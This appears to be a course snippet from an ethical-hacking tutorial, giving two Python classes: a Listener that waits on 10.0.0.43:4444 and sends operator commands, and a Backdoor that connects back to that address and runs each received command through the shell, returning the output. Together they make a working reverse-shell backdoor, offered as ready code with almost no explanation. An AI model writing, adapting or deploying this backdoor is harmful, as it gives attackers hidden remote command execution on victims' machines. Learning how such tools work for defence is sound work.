Refactoring - Creating a Listener Class
#!/usr/bin/env python import socket class Listener: def __init__(self, ip, port): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind((ip, port)) listener.listen(0) print("[+] Waiting for incoming connections") self.connection, address = listener.accept() print("[+] Got a connection from " + str(address)) def execute_remotely(self, command): self.connection.send(command) return self.connection.recv(1024).decode() def run(self): while True: command = input(">> ").encode() result = self.execute_remotely(command) print(result) my_listener = Listener("10.0.0.43", 4444) my_listener.run()
Creating a Backdoor class:
#!/usr/bin/env python import socket import subprocess class Backdoor: def __init__(self, ip, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port)) def execute_system_command(self, command): return subprocess.check_output(command, shell=True) def run(self): while True: command = self.connection.recv(1024).decode() command_result = self.execute_system_command(command) self.connection.send(command_result) connection.close() my_backdoor = Backdoor("10.0.0.43", 4444) my_backdoor.run()